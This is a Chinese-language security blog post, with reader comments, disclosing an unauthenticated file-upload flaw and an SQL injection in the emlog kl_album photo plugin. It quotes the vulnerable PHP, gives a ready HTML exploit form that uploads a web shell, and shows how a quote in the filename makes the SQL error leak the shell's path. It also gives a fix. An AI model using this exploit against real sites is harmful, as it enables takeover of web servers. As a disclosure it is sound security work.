emlog某重要插件前台SQL注入+Getshell

    真是醉了,前两天在鼓捣其他事情需要图片外链,我就直接用了自己博客用了很久的“EM相册”插件。我顺势看了看代码,还真被我看出事了……

    EM相册是emlog最早的插件之一(插件页面:http://www.emlog.net/plugin/6 。id为6,可想而知),作者是现在身为emlog社区超版的KLLER,下载量也是很大的:

    01.jpg

    下载以后解压,看到kl_album_ajax_do.php:

<?php
/**
 * kl_album_ajax_do.php
 * design by KLLER
 */
require_once('../../../init.php');
$DB = MySql::getInstance();
$kl_album_config = unserialize(Option::get('kl_album_config'));
if(isset($_POST['album']) && isset($_FILES['Filedata'])){
	if(function_exists('ini_get')){
		$kl_album_memory_limit = ini_get('memory_limit');
		$kl_album_memory_limit = substr($kl_album_memory_limit, 0, strlen($kl_album_memory_limit)-1);
		$kl_album_memory_limit = ($kl_album_memory_limit+20).'M';
		ini_set('memory_limit', $kl_album_memory_limit);
	}
	define('KL_UPLOADFILE_MAXSIZE', kl_album_get_upload_max_filesize());
	define('KL_UPLOADFILE_PATH', '../../../content/plugins/kl_album/upload/');
	define('KL_IMG_ATT_MAX_W',	100);//图片附件缩略图最大宽
	define('KL_IMG_ATT_MAX_H',	100);//图片附件缩略图最大高
	$att_type = array('jpg', 'jpeg', 'png', 'gif');//允许上传的文件类型
	$album = isset($_POST['album']) ? intval($_POST['album']) : '';
	if($_FILES['Filedata']['error'] != 4){
		$upfname = kl_album_upload_file($_FILES['Filedata']['name'], $_FILES['Filedata']['error'], $_FILES['Filedata']['tmp_name'], $_FILES['Filedata']['size'], $_FILES['Filedata']['type'], $att_type);
		$photo_size = chImageSize(EMLOG_ROOT.substr($upfname, 2), KL_IMG_ATT_MAX_W, KL_IMG_ATT_MAX_H);
		$result = $DB->query("INSERT INTO ".DB_PREFIX."kl_album(truename, filename, description, album, addtime, w, h) VALUES('{$_FILES['Filedata']['name']}', '{$upfname}', '".date('Y-m-d', time())."', {$album}, ".time().", {$photo_size['w']}, {$photo_size['h']})");
		if($result){
			$new_id = $DB->insert_id();
			$the_option_value = Option::get('kl_album_'.$album);
			if($the_option_value !== null){
				$the_option_value = trim($new_id.','.$the_option_value, ',');
				Option::updateOption('kl_album_'.$album, $the_option_value);
				$CACHE->updateCache('options');
			}
		}
	}
	exit;
}
if(ROLE != 'admin') exit('access deined!');
if(isset($_GET['action']) && $_GET['action']!=''){...
    可见,验证身份(倒数第二行)的代码在上传的代码后面,所以任意用户均可上传文件。那么我们来看看上传部分。里面似乎定义了一个$att_type = array('jpg', 'jpeg', 'png', 'gif');,并将$att_type这个变量和$_FILES一起传入了kl_album_upload_file函数。我们进去看看:
function kl_album_upload_file($filename, $errorNum, $tmpfile, $filesize, $filetype, $type, $isIcon = 0){
	$kl_album_config = unserialize(Option::get('kl_album_config'));
	$extension  = strtolower(substr(strrchr($filename, "."),1));
	$uppath = KL_UPLOADFILE_PATH . date("Ym") . "/";
	$fname = md5($filename) . date("YmdHis") . rand() .'.'. $extension;
	$attachpath = $uppath . $fname;
	if(!is_dir(KL_UPLOADFILE_PATH)){
		umask(0);
		$ret = @mkdir(KL_UPLOADFILE_PATH, 0777);
		if($ret === false) return '创建文件上传目录失败';
	}
	if(!is_dir($uppath)){
		umask(0);
		$ret = @mkdir($uppath, 0777);
		if($ret === false) return "上传失败。文件上传目录(content/plugins/kl_album/upload)不可写";
	}
	doAction('kl_album_upload', $tmpfile);
	//缩略
	$imtype = array('jpg','png','jpeg','gif');
	$thum = $uppath."thum-". $fname;
	$attach = in_array($extension, $imtype) && function_exists("ImageCreate") && kl_album_resize_image($tmpfile,$filetype,$thum,$isIcon,KL_IMG_ATT_MAX_W,KL_IMG_ATT_MAX_H) ? $thum : $attachpath;
	$kl_album_compression_length = isset($kl_album_config['compression_length']) ? intval($kl_album_config['compression_length']) : 1024;
	$kl_album_compression_width = isset($kl_album_config['compression_width']) ? intval($kl_album_config['compression_width']) : 768;
	if($kl_album_compression_length == 0 || $kl_album_compression_width == 0){
		if(@is_uploaded_file($tmpfile)){
			if(@!move_uploaded_file($tmpfile ,$attachpath)){
				@unlink($tmpfile);
				return "上传失败。文件上传目录(content/plugins/kl_album/upload)不可写";
			}else{
				echo 'kl_album_successed';
			}
			chmod($attachpath, 0777);
		}
	}else{
		if(in_array($extension, $imtype) && function_exists("ImageCreate") && kl_album_resize_image($tmpfile,$filetype,$attachpath,$isIcon,$kl_album_compression_length,$kl_album_compression_width)){
			echo 'kl_album_successed';
		}else{
			if(@is_uploaded_file($tmpfile)){
				if(@!move_uploaded_file($tmpfile ,$attachpath)){
					@unlink($tmpfile);
					return "上传失败。文件上传目录(content/plugins/kl_album/upload)不可写";
				}else{
					echo 'kl_album_successed';
				}
				chmod($attachpath, 0777);
			}
		}
	}
	$attach = substr($attach, 6, strlen($attach));
	return 	$attach;
}
    我们可以看看,实际上我们传入的$type这个变量在这个函数里根本没有用到!


    函数中定义了一个$imtype = array('jpg','png','jpeg','gif');,也不是用来验证后缀的,而是判断是否需要生成缩略图的。所以重点就是下面几行:

$extension  = strtolower(substr(strrchr($filename, "."),1));
$uppath = KL_UPLOADFILE_PATH . date("Ym") . "/";
$fname = md5($filename) . date("YmdHis") . rand() .'.'. $extension;
$attachpath = $uppath . $fname;
...
if(@!move_uploaded_file($tmpfile ,$attachpath)){


    这里,我们可以发现上传的文件名是md5($filename) . date("YmdHis") . rand() .'.'. $extension;,原名的md5值+时间+rand随机数+后缀。md5值和时间基本比较好确定的,但是rand()随机数一般都有65535个可能性。

    而且我们看到后面的代码,并没有把文件名输出的地方,只是echo 'kl_album_successed';。

    难道我们需要暴力跑shell名字?

    我们返回kl_album_ajax_do.php,可以发现上传的if语句中有如下代码:

$result = $DB->query("INSERT INTO ".DB_PREFIX."kl_album(truename, filename, description, album, addtime, w, h) VALUES('{$_FILES['Filedata']['name']}', '{$upfname}', '".date('Y-m-d', time())."', {$album}, ".time().", {$photo_size['w']}, {$photo_size['h']})");
    将$_FILES['Filedata']['name']直接插入数据库。这里另造成了一个SQL注入漏洞,当然既然有之前的getshell,这里的注入就有点当陪衬了。不过emlog在遇到SQL语句出错的情况下是会报错的。


    所以所以,这里我们正好用到这个特性,通过报错可以将$upfname这个字段爆出来,这也就是我们上传成功的shell名字。

    如何报错?上传文件名里加个单引号即可。


    所以,我来一份利用代码:

<form id="exp" method="post" enctype="multipart/form-data">
<p>target url > <input id="url" type="text" style="width: 300px"></p>
<p>shell file > <input type="file" name="Filedata"></p>
<input name="album" type="hidden" value="111111" >
<p><input type="submit" value="GO!" onclick="exp.action=url.value+'/content/plugins/kl_album/kl_album_ajax_do.php';"></p>
</form>
    保存为html,本地打开:


    02.jpg

    填入目标url,并选择要上传的shell。(如图,我这里是info'.php,会令SQL出错)。点击GO!

    03.jpg

    出错了,可以发现文件名已经爆出来了:../content/plugins/kl_album/upload/201411/38493d4468377f721357e9c64f93637d2014111211381611097.php

    访问可见shell:

    04.jpg


    修复方案:

    给个暂时性的方法吧:卸载插件。

    如果你用相册用的多,不能删插件,那就将if(ROLE != 'admin') exit('access deined!');这句话移到上传代码上面,这样漏洞遍从一个“无需登录getshell”变成了“管理员权限getshell”,基本没危害了。毕竟emlog后台管理员是可以直接拿shell的。

    剩下的,那就是该解决文件上传解决文件上传,该修注入的修注入了。方法我就不多说了。


    官方已更新插件版本,所以文章公开。提供一个存在漏洞的版本给大家测试:kl_album.zip

赞赏

喜欢这篇文章,扫码和我成为赞友!

评论

天津网站建设 回复

不明觉厉哈哈

沧澜 回复

原来是离歌前辈的大作,学习了

独自等待 回复

文章分析的不错,已经转载并保留了版权。

sky 回复

排版有点乱,可否考虑下用个代码高亮的那种插件。

D_M 回复

吓尿了。。。做了好多个外包,都用的这个相册插件。。。。。。。。。
来膜拜

东吃 回复

报错那个地方亮了~ 学习了

JoyChou 回复

虽然不知道你在说什么,但是感觉很厉害的样子。

Chu 回复

来膜拜

captcha